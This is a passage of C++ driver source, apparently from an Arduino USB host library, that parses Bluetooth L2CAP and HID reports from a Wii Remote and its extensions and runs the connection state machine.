if(l2capinbuf[8] == L2CAP_CMD_CONNECTION_RESPONSE) { if(((l2capinbuf[16] | (l2capinbuf[17] << 8)) == 0x0000) && ((l2capinbuf[18] | (l2capinbuf[19] << 8)) == SUCCESSFUL)) { // Success if(l2capinbuf[14] == control_dcid[0] && l2capinbuf[15] == control_dcid[1]) { //Notify(PSTR("\r\nHID Control Connection Complete"), 0x80); identifier = l2capinbuf[9]; control_scid[0] = l2capinbuf[12]; control_scid[1] = l2capinbuf[13]; l2cap_set_flag(L2CAP_FLAG_CONTROL_CONNECTED); } else if(l2capinbuf[14] == interrupt_dcid[0] && l2capinbuf[15] == interrupt_dcid[1]) { //Notify(PSTR("\r\nHID Interrupt Connection Complete"), 0x80); identifier = l2capinbuf[9]; interrupt_scid[0] = l2capinbuf[12]; interrupt_scid[1] = l2capinbuf[13]; l2cap_set_flag(L2CAP_FLAG_INTERRUPT_CONNECTED); } } } else if(l2capinbuf[8] == L2CAP_CMD_CONNECTION_REQUEST) { #ifdef EXTRADEBUG Notify(PSTR("\r\nL2CAP Connection Request - PSM: "), 0x80); D_PrintHex (l2capinbuf[13], 0x80); Notify(PSTR(" "), 0x80); D_PrintHex (l2capinbuf[12], 0x80); Notify(PSTR(" SCID: "), 0x80); D_PrintHex (l2capinbuf[15], 0x80); Notify(PSTR(" "), 0x80); D_PrintHex (l2capinbuf[14], 0x80); Notify(PSTR(" Identifier: "), 0x80); D_PrintHex (l2capinbuf[9], 0x80); #endif if((l2capinbuf[12] | (l2capinbuf[13] << 8)) == HID_CTRL_PSM) { identifier = l2capinbuf[9]; control_scid[0] = l2capinbuf[14]; control_scid[1] = l2capinbuf[15]; l2cap_set_flag(L2CAP_FLAG_CONNECTION_CONTROL_REQUEST); } else if((l2capinbuf[12] | (l2capinbuf[13] << 8)) == HID_INTR_PSM) { identifier = l2capinbuf[9]; interrupt_scid[0] = l2capinbuf[14]; interrupt_scid[1] = l2capinbuf[15]; l2cap_set_flag(L2CAP_FLAG_CONNECTION_INTERRUPT_REQUEST); } } else if(l2capinbuf[8] == L2CAP_CMD_CONFIG_RESPONSE) { if((l2capinbuf[16] | (l2capinbuf[17] << 8)) == 0x0000) { // Success if(l2capinbuf[12] == control_dcid[0] && l2capinbuf[13] == control_dcid[1]) { //Notify(PSTR("\r\nHID Control Configuration Complete"), 0x80); identifier = l2capinbuf[9]; l2cap_set_flag(L2CAP_FLAG_CONFIG_CONTROL_SUCCESS); } else if(l2capinbuf[12] == interrupt_dcid[0] && l2capinbuf[13] == interrupt_dcid[1]) { //Notify(PSTR("\r\nHID Interrupt Configuration Complete"), 0x80); identifier = l2capinbuf[9]; l2cap_set_flag(L2CAP_FLAG_CONFIG_INTERRUPT_SUCCESS); } } } else if(l2capinbuf[8] == L2CAP_CMD_CONFIG_REQUEST) { if(l2capinbuf[12] == control_dcid[0] && l2capinbuf[13] == control_dcid[1]) { //Notify(PSTR("\r\nHID Control Configuration Request"), 0x80); pBtd->l2cap_config_response(hci_handle, l2capinbuf[9], control_scid); } else if(l2capinbuf[12] == interrupt_dcid[0] && l2capinbuf[13] == interrupt_dcid[1]) { //Notify(PSTR("\r\nHID Interrupt Configuration Request"), 0x80); pBtd->l2cap_config_response(hci_handle, l2capinbuf[9], interrupt_scid); } } else if(l2capinbuf[8] == L2CAP_CMD_DISCONNECT_REQUEST) { if(l2capinbuf[12] == control_dcid[0] && l2capinbuf[13] == control_dcid[1]) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nDisconnect Request: Control Channel"), 0x80); #endif identifier = l2capinbuf[9]; pBtd->l2cap_disconnection_response(hci_handle, identifier, control_dcid, control_scid); Reset(); } else if(l2capinbuf[12] == interrupt_dcid[0] && l2capinbuf[13] == interrupt_dcid[1]) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nDisconnect Request: Interrupt Channel"), 0x80); #endif identifier = l2capinbuf[9]; pBtd->l2cap_disconnection_response(hci_handle, identifier, interrupt_dcid, interrupt_scid); Reset(); } } else if(l2capinbuf[8] == L2CAP_CMD_DISCONNECT_RESPONSE) { if(l2capinbuf[12] == control_scid[0] && l2capinbuf[13] == control_scid[1]) { //Notify(PSTR("\r\nDisconnect Response: Control Channel"), 0x80); identifier = l2capinbuf[9]; l2cap_set_flag(L2CAP_FLAG_DISCONNECT_CONTROL_RESPONSE); } else if(l2capinbuf[12] == interrupt_scid[0] && l2capinbuf[13] == interrupt_scid[1]) { //Notify(PSTR("\r\nDisconnect Response: Interrupt Channel"), 0x80); identifier = l2capinbuf[9]; l2cap_set_flag(L2CAP_FLAG_DISCONNECT_INTERRUPT_RESPONSE); } } #ifdef EXTRADEBUG else { identifier = l2capinbuf[9]; Notify(PSTR("\r\nL2CAP Unknown Signaling Command: "), 0x80); D_PrintHex (l2capinbuf[8], 0x80); } #endif } else if(l2capinbuf[6] == interrupt_dcid[0] && l2capinbuf[7] == interrupt_dcid[1]) { // l2cap_interrupt //Notify(PSTR("\r\nL2CAP Interrupt"), 0x80); if(l2capinbuf[8] == 0xA1) { // HID_THDR_DATA_INPUT if((l2capinbuf[9] >= 0x20 && l2capinbuf[9] <= 0x22) || (l2capinbuf[9] >= 0x30 && l2capinbuf[9] <= 0x37) || l2capinbuf[9] == 0x3e || l2capinbuf[9] == 0x3f) { // These reports include the buttons if((l2capinbuf[9] >= 0x20 && l2capinbuf[9] <= 0x22) || l2capinbuf[9] == 0x31 || l2capinbuf[9] == 0x33) // These reports have no extensions bytes ButtonState = (uint32_t)((l2capinbuf[10] & 0x1F) | ((uint16_t)(l2capinbuf[11] & 0x9F) << 8)); else if(wiiUProControllerConnected) ButtonState = (uint32_t)(((~l2capinbuf[23]) & 0xFE) | ((uint16_t)(~l2capinbuf[24]) << 8) | ((uint32_t)((~l2capinbuf[25]) & 0x03) << 16)); else if(motionPlusConnected) { if(l2capinbuf[20] & 0x02) // Only update the Wiimote buttons, since the extension bytes are from the Motion Plus ButtonState = (uint32_t)((l2capinbuf[10] & 0x1F) | ((uint16_t)(l2capinbuf[11] & 0x9F) << 8) | ((uint32_t)(ButtonState & 0xFFFF0000))); else if(nunchuckConnected) // Update if it's a report from the Nunchuck ButtonState = (uint32_t)((l2capinbuf[10] & 0x1F) | ((uint16_t)(l2capinbuf[11] & 0x9F) << 8) | ((uint32_t)((~l2capinbuf[20]) & 0x0C) << 14)); //else if(classicControllerConnected) // Update if it's a report from the Classic Controller } else if(nunchuckConnected) // The Nunchuck is directly connected ButtonState = (uint32_t)((l2capinbuf[10] & 0x1F) | ((uint16_t)(l2capinbuf[11] & 0x9F) << 8) | ((uint32_t)((~l2capinbuf[20]) & 0x03) << 16)); //else if(classicControllerConnected) // The Classic Controller is directly connected else if(!unknownExtensionConnected) ButtonState = (uint32_t)((l2capinbuf[10] & 0x1F) | ((uint16_t)(l2capinbuf[11] & 0x9F) << 8)); #ifdef PRINTREPORT Notify(PSTR("ButtonState: "), 0x80); D_PrintHex (ButtonState, 0x80); Notify(PSTR("\r\n"), 0x80); #endif if(ButtonState != OldButtonState) { ButtonClickState = ButtonState & ~OldButtonState; // Update click state variable OldButtonState = ButtonState; } } if(l2capinbuf[9] == 0x31 || l2capinbuf[9] == 0x33 || l2capinbuf[9] == 0x35 || l2capinbuf[9] == 0x37) { // Read the accelerometer accXwiimote = ((l2capinbuf[12] << 2) | (l2capinbuf[10] & 0x60 >> 5)) - 500; accYwiimote = ((l2capinbuf[13] << 2) | (l2capinbuf[11] & 0x20 >> 4)) - 500; accZwiimote = ((l2capinbuf[14] << 2) | (l2capinbuf[11] & 0x40 >> 5)) - 500; } switch(l2capinbuf[9]) { case 0x20: // Status Information - (a1) 20 BB BB LF 00 00 VV #ifdef EXTRADEBUG Notify(PSTR("\r\nStatus report was received"), 0x80); #endif wiiState = l2capinbuf[12]; // (0x01: Battery is nearly empty), (0x02: An Extension Controller is connected), (0x04: Speaker enabled), (0x08: IR enabled), (0x10: LED1, 0x20: LED2, 0x40: LED3, 0x80: LED4) batteryLevel = l2capinbuf[15]; // Update battery level if(!checkBatteryLevel) { // If this is true it means that the user must have called getBatteryLevel() if(l2capinbuf[12] & 0x02) { // Check if a extension is connected #ifdef DEBUG_USB_HOST if(!unknownExtensionConnected) Notify(PSTR("\r\nExtension connected"), 0x80); #endif unknownExtensionConnected = true; #ifdef WIICAMERA if(!isIRCameraEnabled()) // Don't activate the Motion Plus if we are trying to initialize the IR camera #endif setReportMode(false, 0x35); // Also read the extension } else { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nExtension disconnected"), 0x80); #endif if(motionPlusConnected) { #ifdef DEBUG_USB_HOST Notify(PSTR(" - from Motion Plus"), 0x80); #endif wii_clear_flag(WII_FLAG_NUNCHUCK_CONNECTED); if(!activateNunchuck) // If it's already trying to initialize the Nunchuck don't set it to false nunchuckConnected = false; //else if(classicControllerConnected) } else if(nunchuckConnected) { #ifdef DEBUG_USB_HOST Notify(PSTR(" - Nunchuck"), 0x80); #endif nunchuckConnected = false; // It must be the Nunchuck controller then wii_clear_flag(WII_FLAG_NUNCHUCK_CONNECTED); onInit(); #ifdef WIICAMERA if(!isIRCameraEnabled()) // We still want to read from the IR camera, so do not change the report mode #endif setReportMode(false, 0x31); // If there is no extension connected we will read the buttons and accelerometer } else { #ifdef WIICAMERA if(!isIRCameraEnabled()) // We still want to read from the IR camera, so do not change the report mode #endif setReportMode(false, 0x31); // If there is no extension connected we will read the buttons and accelerometer } } } else { #ifdef EXTRADEBUG Notify(PSTR("\r\nChecking battery level"), 0x80); #endif checkBatteryLevel = false; // Check for extensions by default } #ifdef DEBUG_USB_HOST if(l2capinbuf[12] & 0x01) Notify(PSTR("\r\nWARNING: Battery is nearly empty"), 0x80); #endif break; case 0x21: // Read Memory Data if((l2capinbuf[12] & 0x0F) == 0) { // No error uint8_t reportLength = (l2capinbuf[12] >> 4) + 1; // // Bit 4-7 is the length - 1 // See: http://wiibrew.org/wiki/Wiimote/Extension_Controllers if(l2capinbuf[16] == 0x00 && l2capinbuf[17] == 0xA4 && l2capinbuf[18] == 0x20 && l2capinbuf[19] == 0x00 && l2capinbuf[20] == 0x00) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nNunchuck connected"), 0x80); #endif wii_set_flag(WII_FLAG_NUNCHUCK_CONNECTED); } else if(l2capinbuf[16] == 0x00 && (l2capinbuf[17] == 0xA6 || l2capinbuf[17] == 0xA4) && l2capinbuf[18] == 0x20 && l2capinbuf[19] == 0x00 && l2capinbuf[20] == 0x05) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nMotion Plus connected"), 0x80); #endif wii_set_flag(WII_FLAG_MOTION_PLUS_CONNECTED); } else if(l2capinbuf[16] == 0x00 && l2capinbuf[17] == 0xA4 && l2capinbuf[18] == 0x20 && l2capinbuf[19] == 0x04 && l2capinbuf[20] == 0x05) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nMotion Plus activated in normal mode"), 0x80); #endif motionPlusConnected = true; #ifdef WIICAMERA if(!isIRCameraEnabled()) // Don't activate the Motion Plus if we are trying to initialize the IR camera #endif setReportMode(false, 0x35); // Also read the extension } else if(l2capinbuf[16] == 0x00 && l2capinbuf[17] == 0xA4 && l2capinbuf[18] == 0x20 && l2capinbuf[19] == 0x05 && l2capinbuf[20] == 0x05) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nMotion Plus activated in Nunchuck pass-through mode"), 0x80); #endif activateNunchuck = false; motionPlusConnected = true; nunchuckConnected = true; #ifdef WIICAMERA if(!isIRCameraEnabled()) // Don't activate the Motion Plus if we are trying to initialize the IR camera #endif setReportMode(false, 0x35); // Also read the extension } else if(l2capinbuf[16] == 0x00 && l2capinbuf[17] == 0xA6 && l2capinbuf[18] == 0x20 && (l2capinbuf[19] == 0x00 || l2capinbuf[19] == 0x04 || l2capinbuf[19] == 0x05 || l2capinbuf[19] == 0x07) && l2capinbuf[20] == 0x05) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nInactive Wii Motion Plus"), 0x80); Notify(PSTR("\r\nPlease unplug the Motion Plus, disconnect the Wiimote and then replug the Motion Plus Extension"), 0x80); #endif stateCounter = 300; // Skip the rest in "WII_CHECK_MOTION_PLUS_STATE" } else if(l2capinbuf[16] == 0x00 && l2capinbuf[17] == 0xA4 && l2capinbuf[18] == 0x20 && l2capinbuf[19] == 0x01 && l2capinbuf[20] == 0x20) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nWii U Pro Controller connected"), 0x80); #endif wiiUProControllerConnected = true; } else if(l2capinbuf[16] == 0x00 && l2capinbuf[17] == 0xA4 && l2capinbuf[18] == 0x20 && l2capinbuf[19] == 0x04 && l2capinbuf[20] == 0x02) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nWii Balance Board connected"), 0x80); #endif setReportMode(false, 0x32); // Read the Wii Balance Board extension wii_set_flag(WII_FLAG_CALIBRATE_BALANCE_BOARD); } // Wii Balance Board calibration reports (24 bits in total) else if(l2capinbuf[13] == 0x00 && l2capinbuf[14] == 0x24 && reportLength == 16) { // First 16-bit for(uint8_t i = 0; i < 2; i++) { for(uint8_t j = 0; j < 4; j++) wiiBalanceBoardCal[i][j] = l2capinbuf[16 + 8 * i + 2 * j] | l2capinbuf[15 + 8 * i + 2 * j] << 8; } } else if(l2capinbuf[13] == 0x00 && l2capinbuf[14] == 0x34 && reportLength == 8) { // Last 8-bit for(uint8_t j = 0; j < 4; j++) wiiBalanceBoardCal[2][j] = l2capinbuf[16 + 2 * j] | l2capinbuf[15 + 2 * j] << 8; #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nWii Balance Board calibration values read successfully"), 0x80); #endif wii_clear_flag(WII_FLAG_CALIBRATE_BALANCE_BOARD); wiiBalanceBoardConnected = true; } #ifdef DEBUG_USB_HOST else { Notify(PSTR("\r\nUnknown Device: "), 0x80); D_PrintHex (l2capinbuf[13], 0x80); D_PrintHex (l2capinbuf[14], 0x80); Notify(PSTR("\r\nData: "), 0x80); for(uint8_t i = 0; i < reportLength; i++) { D_PrintHex (l2capinbuf[15 + i], 0x80); Notify(PSTR(" "), 0x80); } } #endif } #ifdef EXTRADEBUG else { Notify(PSTR("\r\nReport Error: "), 0x80); D_PrintHex (l2capinbuf[13], 0x80); D_PrintHex (l2capinbuf[14], 0x80); } #endif break; case 0x22: // Acknowledge output report, return function result #ifdef DEBUG_USB_HOST if(l2capinbuf[13] != 0x00) { // Check if there is an error Notify(PSTR("\r\nCommand failed: "), 0x80); D_PrintHex (l2capinbuf[12], 0x80); } #endif break; case 0x30: // Core buttons - (a1) 30 BB BB break; case 0x31: // Core Buttons and Accelerometer - (a1) 31 BB BB AA AA AA break; case 0x32: // Core Buttons with 8 Extension bytes - (a1) 32 BB BB EE EE EE EE EE EE EE EE // See: http://wiibrew.org/wiki/Wii_Balance_Board#Data_Format wiiBalanceBoardRaw[TopRight] = l2capinbuf[13] | l2capinbuf[12] << 8; // Top right wiiBalanceBoardRaw[BotRight] = l2capinbuf[15] | l2capinbuf[14] << 8; // Bottom right wiiBalanceBoardRaw[TopLeft] = l2capinbuf[17] | l2capinbuf[16] << 8; // Top left wiiBalanceBoardRaw[BotLeft] = l2capinbuf[19] | l2capinbuf[18] << 8; // Bottom left break; case 0x33: // Core Buttons with Accelerometer and 12 IR bytes - (a1) 33 BB BB AA AA AA II II II II II II II II II II II II #ifdef WIICAMERA // Read the IR data IR_object_x1 = (l2capinbuf[15] | ((uint16_t)(l2capinbuf[17] & 0x30) << 4)); // x position IR_object_y1 = (l2capinbuf[16] | ((uint16_t)(l2capinbuf[17] & 0xC0) << 2)); // y position IR_object_s1 = (l2capinbuf[17] & 0x0F); // Size value, 0-15 IR_object_x2 = (l2capinbuf[18] | ((uint16_t)(l2capinbuf[20] & 0x30) << 4)); IR_object_y2 = (l2capinbuf[19] | ((uint16_t)(l2capinbuf[20] & 0xC0) << 2)); IR_object_s2 = (l2capinbuf[20] & 0x0F); IR_object_x3 = (l2capinbuf[21] | ((uint16_t)(l2capinbuf[23] & 0x30) << 4)); IR_object_y3 = (l2capinbuf[22] | ((uint16_t)(l2capinbuf[23] & 0xC0) << 2)); IR_object_s3 = (l2capinbuf[23] & 0x0F); IR_object_x4 = (l2capinbuf[24] | ((uint16_t)(l2capinbuf[26] & 0x30) << 4)); IR_object_y4 = (l2capinbuf[25] | ((uint16_t)(l2capinbuf[26] & 0xC0) << 2)); IR_object_s4 = (l2capinbuf[26] & 0x0F); #endif break; case 0x34: // Core Buttons with 19 Extension bytes - (a1) 34 BB BB EE EE EE EE EE EE EE EE EE EE EE EE EE EE EE EE EE EE EE break; /* 0x3e and 0x3f both give unknown report types when report mode is 0x3e or 0x3f with mode number 0x05 */ case 0x3E: // Core Buttons with Accelerometer and 32 IR bytes // (a1) 31 BB BB AA AA AA II II II II II II II II II II II II II II II II II II II II II II II II II II II II II II II II // corresponds to output report mode 0x3e /**** for reading in full mode: DOES NOT WORK YET ****/ /* When it works it will also have intensity and bounding box data */ /* IR_object_x1 = (l2capinbuf[13] | ((uint16_t)(l2capinbuf[15] & 0x30) << 4)); IR_object_y1 = (l2capinbuf[14] | ((uint16_t)(l2capinbuf[15] & 0xC0) << 2)); IR_object_s1 = (l2capinbuf[15] & 0x0F); */ break; case 0x3F: /* IR_object_x1 = (l2capinbuf[13] | ((uint16_t)(l2capinbuf[15] & 0x30) << 4)); IR_object_y1 = (l2capinbuf[14] | ((uint16_t)(l2capinbuf[15] & 0xC0) << 2)); IR_object_s1 = (l2capinbuf[15] & 0x0F); */ break; case 0x35: // Core Buttons and Accelerometer with 16 Extension Bytes // (a1) 35 BB BB AA AA AA EE EE EE EE EE EE EE EE EE EE EE EE EE EE EE EE #if 1 // Set this to 0 if you don't want to use an extension, this reduceds the size of the library a lot! if(motionPlusConnected) { if(l2capinbuf[20] & 0x02) { // Check if it's a report from the Motion controller or the extension if(motionValuesReset) { // We will only use the values when the gyro value has been set gyroYawRaw = ((l2capinbuf[15] | ((l2capinbuf[18] & 0xFC) << 6)) - gyroYawZero); gyroRollRaw = ((l2capinbuf[16] | ((l2capinbuf[19] & 0xFC) << 6)) - gyroRollZero); gyroPitchRaw = ((l2capinbuf[17] | ((l2capinbuf[20] & 0xFC) << 6)) - gyroPitchZero); yawGyroSpeed = (float)gyroYawRaw / ((float)gyroYawZero / yawGyroScale); rollGyroSpeed = -(float)gyroRollRaw / ((float)gyroRollZero / rollGyroScale); // We invert these values so they will fit the acc values pitchGyroSpeed = (float)gyroPitchRaw / ((float)gyroPitchZero / pitchGyroScale); /* The onboard gyro has two ranges for slow and fast mode */ if(!(l2capinbuf[18] & 0x02)) // Check if fast mode is used yawGyroSpeed *= 4.545; if(!(l2capinbuf[18] & 0x01)) // Check if fast mode is used pitchGyroSpeed *= 4.545; if(!(l2capinbuf[19] & 0x02)) // Check if fast mode is used rollGyroSpeed *= 4.545; compPitch = (0.93f * (compPitch + (pitchGyroSpeed * (float)((uint32_t)micros() - timer) / 1000000.0f)))+(0.07f * getWiimotePitch()); // Use a complimentary filter to calculate the angle compRoll = (0.93f * (compRoll + (rollGyroSpeed * (float)((uint32_t)micros() - timer) / 1000000.0f)))+(0.07f * getWiimoteRoll()); gyroYaw += (yawGyroSpeed * ((float)((uint32_t)micros() - timer) / 1000000.0f)); gyroRoll += (rollGyroSpeed * ((float)((uint32_t)micros() - timer) / 1000000.0f)); gyroPitch += (pitchGyroSpeed * ((float)((uint32_t)micros() - timer) / 1000000.0f)); timer = (uint32_t)micros(); /* // Uncomment these lines to tune the gyro scale variabels Notify(PSTR("\r\ngyroYaw: "), 0x80); Notify(gyroYaw, 0x80); Notify(PSTR("\tgyroRoll: "), 0x80); Notify(gyroRoll, 0x80); Notify(PSTR("\tgyroPitch: "), 0x80); Notify(gyroPitch, 0x80); */ /* Notify(PSTR("\twiimoteRoll: "), 0x80); Notify(wiimoteRoll, 0x80); Notify(PSTR("\twiimotePitch: "), 0x80); Notify(wiimotePitch, 0x80); */ } else { if((int32_t)((uint32_t)micros() - timer) > 1000000) { // Loop for 1 sec before resetting the values #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nThe gyro values has been reset"), 0x80); #endif gyroYawZero = (l2capinbuf[15] | ((l2capinbuf[18] & 0xFC) << 6)); gyroRollZero = (l2capinbuf[16] | ((l2capinbuf[19] & 0xFC) << 6)); gyroPitchZero = (l2capinbuf[17] | ((l2capinbuf[20] & 0xFC) << 6)); rollGyroScale = 500; // You might need to adjust these pitchGyroScale = 400; yawGyroScale = 415; gyroYaw = 0; gyroRoll = 0; gyroPitch = 0; motionValuesReset = true; timer = (uint32_t)micros(); } } } else { if(nunchuckConnected) { hatValues[HatX] = l2capinbuf[15]; hatValues[HatY] = l2capinbuf[16]; accXnunchuck = ((l2capinbuf[17] << 2) | (l2capinbuf[20] & 0x10 >> 3)) - 416; accYnunchuck = ((l2capinbuf[18] << 2) | (l2capinbuf[20] & 0x20 >> 4)) - 416; accZnunchuck = (((l2capinbuf[19] & 0xFE) << 2) | (l2capinbuf[20] & 0xC0 >> 5)) - 416; } //else if(classicControllerConnected) { } } if(l2capinbuf[19] & 0x01) { if(!extensionConnected) { extensionConnected = true; unknownExtensionConnected = true; #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nExtension connected to Motion Plus"), 0x80); #endif } } else { if(extensionConnected && !unknownExtensionConnected) { extensionConnected = false; unknownExtensionConnected = true; #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nExtension disconnected from Motion Plus"), 0x80); #endif nunchuckConnected = false; // There is no extension connected to the Motion Plus if this report is sent } } } else if(nunchuckConnected) { hatValues[HatX] = l2capinbuf[15]; hatValues[HatY] = l2capinbuf[16]; accXnunchuck = ((l2capinbuf[17] << 2) | (l2capinbuf[20] & 0x0C >> 2)) - 416; accYnunchuck = ((l2capinbuf[18] << 2) | (l2capinbuf[20] & 0x30 >> 4)) - 416; accZnunchuck = ((l2capinbuf[19] << 2) | (l2capinbuf[20] & 0xC0 >> 6)) - 416; } else if(wiiUProControllerConnected) { hatValues[LeftHatX] = (l2capinbuf[15] | l2capinbuf[16] << 8); hatValues[RightHatX] = (l2capinbuf[17] | l2capinbuf[18] << 8); hatValues[LeftHatY] = (l2capinbuf[19] | l2capinbuf[20] << 8); hatValues[RightHatY] = (l2capinbuf[21] | l2capinbuf[22] << 8); } #endif break; #ifdef DEBUG_USB_HOST default: Notify(PSTR("\r\nUnknown Report type: "), 0x80); D_PrintHex (l2capinbuf[9], 0x80); break; #endif } } } L2CAP_task(); } } void WII::L2CAP_task() { switch(l2cap_state) { /* These states are used if the Wiimote is the host */ case L2CAP_CONTROL_SUCCESS: if(l2cap_check_flag(L2CAP_FLAG_CONFIG_CONTROL_SUCCESS)) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nHID Control Successfully Configured"), 0x80); #endif l2cap_state = L2CAP_INTERRUPT_SETUP; } break; case L2CAP_INTERRUPT_SETUP: if(l2cap_check_flag(L2CAP_FLAG_CONNECTION_INTERRUPT_REQUEST)) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nHID Interrupt Incoming Connection Request"), 0x80); #endif pBtd->l2cap_connection_response(hci_handle, identifier, interrupt_dcid, interrupt_scid, PENDING); delay(1); pBtd->l2cap_connection_response(hci_handle, identifier, interrupt_dcid, interrupt_scid, SUCCESSFUL); identifier++; delay(1); pBtd->l2cap_config_request(hci_handle, identifier, interrupt_scid); l2cap_state = L2CAP_INTERRUPT_CONFIG_REQUEST; } break; /* These states are used if the Arduino is the host */ case L2CAP_CONTROL_CONNECT_REQUEST: if(l2cap_check_flag(L2CAP_FLAG_CONTROL_CONNECTED)) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nSend HID Control Config Request"), 0x80); #endif identifier++; pBtd->l2cap_config_request(hci_handle, identifier, control_scid); l2cap_state = L2CAP_CONTROL_CONFIG_REQUEST; } break; case L2CAP_CONTROL_CONFIG_REQUEST: if(l2cap_check_flag(L2CAP_FLAG_CONFIG_CONTROL_SUCCESS)) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nSend HID Interrupt Connection Request"), 0x80); #endif identifier++; pBtd->l2cap_connection_request(hci_handle, identifier, interrupt_dcid, HID_INTR_PSM); l2cap_state = L2CAP_INTERRUPT_CONNECT_REQUEST; } break; case L2CAP_INTERRUPT_CONNECT_REQUEST: if(l2cap_check_flag(L2CAP_FLAG_INTERRUPT_CONNECTED)) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nSend HID Interrupt Config Request"), 0x80); #endif identifier++; pBtd->l2cap_config_request(hci_handle, identifier, interrupt_scid); l2cap_state = L2CAP_INTERRUPT_CONFIG_REQUEST; } break; case L2CAP_INTERRUPT_CONFIG_REQUEST: if(l2cap_check_flag(L2CAP_FLAG_CONFIG_INTERRUPT_SUCCESS)) { // Now the HID channels is established #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nHID Channels Established"), 0x80); #endif pBtd->connectToWii = false; pBtd->pairWithWii = false; stateCounter = 0; l2cap_state = WII_CHECK_MOTION_PLUS_STATE; } break; /* The next states are in run() */ case L2CAP_INTERRUPT_DISCONNECT: if(l2cap_check_flag(L2CAP_FLAG_DISCONNECT_INTERRUPT_RESPONSE) && ((int32_t)((uint32_t)millis() - timer) >= 0L)) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nDisconnected Interrupt Channel"), 0x80); #endif identifier++; pBtd->l2cap_disconnection_request(hci_handle, identifier, control_scid, control_dcid); l2cap_state = L2CAP_CONTROL_DISCONNECT; } break; case L2CAP_CONTROL_DISCONNECT: if(l2cap_check_flag(L2CAP_FLAG_DISCONNECT_CONTROL_RESPONSE)) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nDisconnected Control Channel"), 0x80); #endif pBtd->hci_disconnect(hci_handle); hci_handle = -1; // Reset handle l2cap_event_flag = 0; // Reset flags l2cap_state = L2CAP_WAIT; } break; } } void WII::Run() { if(l2cap_state == L2CAP_INTERRUPT_DISCONNECT && ((int32_t)((uint32_t)millis() - timer) >= 0L)) L2CAP_task(); // Call the rest of the disconnection routine after we have waited long enough switch(l2cap_state) { case L2CAP_WAIT: if(pBtd->connectToWii && !pBtd->l2capConnectionClaimed && !wiimoteConnected && !activeConnection) { pBtd->l2capConnectionClaimed = true; activeConnection = true; motionPlusInside = pBtd->motionPlusInside; #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nSend HID Control Connection Request"), 0x80); #endif hci_handle = pBtd->hci_handle; // Store the HCI Handle for the connection l2cap_event_flag = 0; // Reset flags identifier = 0; pBtd->l2cap_connection_request(hci_handle, identifier, control_dcid, HID_CTRL_PSM); l2cap_state = L2CAP_CONTROL_CONNECT_REQUEST; } else if(l2cap_check_flag(L2CAP_FLAG_CONNECTION_CONTROL_REQUEST)) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nHID Control Incoming Connection Request"), 0x80); #endif pBtd->l2cap_connection_response(hci_handle, identifier, control_dcid, control_scid, PENDING); delay(1); pBtd->l2cap_connection_response(hci_handle, identifier, control_dcid, control_scid, SUCCESSFUL); identifier++; delay(1); pBtd->l2cap_config_request(hci_handle, identifier, control_scid); l2cap_state = L2CAP_CONTROL_SUCCESS; } break; case WII_CHECK_MOTION_PLUS_STATE: #ifdef DEBUG_USB_HOST if(stateCounter == 0) // Only print onnce Notify(PSTR("\r\nChecking if a Motion Plus is connected"), 0x80); #endif stateCounter++; if(stateCounter % 200 == 0) checkMotionPresent(); // Check if there is a motion plus connected if(wii_check_flag(WII_FLAG_MOTION_PLUS_CONNECTED)) { stateCounter = 0; l2cap_state = WII_INIT_MOTION_PLUS_STATE; timer = (uint32_t)micros(); if(unknownExtensionConnected) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nA extension is also connected"), 0x80); #endif activateNunchuck = true; // For we will just set this to true as this the only extension supported so far } } else if(stateCounter == 601) { // We will try three times to check for the motion plus #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nNo Motion Plus was detected"), 0x80); #endif stateCounter = 0; l2cap_state = WII_CHECK_EXTENSION_STATE; } break; case WII_CHECK_EXTENSION_STATE: // This is used to check if there is anything plugged in to the extension port #ifdef DEBUG_USB_HOST if(stateCounter == 0) // Only print onnce Notify(PSTR("\r\nChecking if there is any extension connected"), 0x80); #endif stateCounter++; // We use this counter as there has to be a short delay between the commands if(stateCounter == 1) statusRequest(); // See if a new device has connected if(stateCounter == 100) { if(unknownExtensionConnected) // Check if there is a extension is connected to the port initExtension1(); else stateCounter = 499; } else if(stateCounter == 200) initExtension2(); else if(stateCounter == 300) { readExtensionType(); unknownExtensionConnected = false; } else if(stateCounter == 400) { if(wii_check_flag(WII_FLAG_CALIBRATE_BALANCE_BOARD)) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nReading Wii Balance Board calibration values"), 0x80); #endif readWiiBalanceBoardCalibration(); } else stateCounter = 499; } else if(stateCounter == 500) { stateCounter = 0; l2cap_state = TURN_ON_LED; } break; case WII_INIT_MOTION_PLUS_STATE: stateCounter++; if(stateCounter == 1) initMotionPlus(); else if(stateCounter == 100) activateMotionPlus(); else if(stateCounter == 200) readExtensionType(); // Check if it has been activated else if(stateCounter == 300) { stateCounter = 0; unknownExtensionConnected = false; // The motion plus will send a status report when it's activated, we will set this to false so it doesn't reinitialize the Motion Plus l2cap_state = TURN_ON_LED; } break; case TURN_ON_LED: if(wii_check_flag(WII_FLAG_NUNCHUCK_CONNECTED)) nunchuckConnected = true; wiimoteConnected = true; onInit(); l2cap_state = L2CAP_DONE; break; case L2CAP_DONE: if(unknownExtensionConnected) { #ifdef DEBUG_USB_HOST if(stateCounter == 0) // Only print once 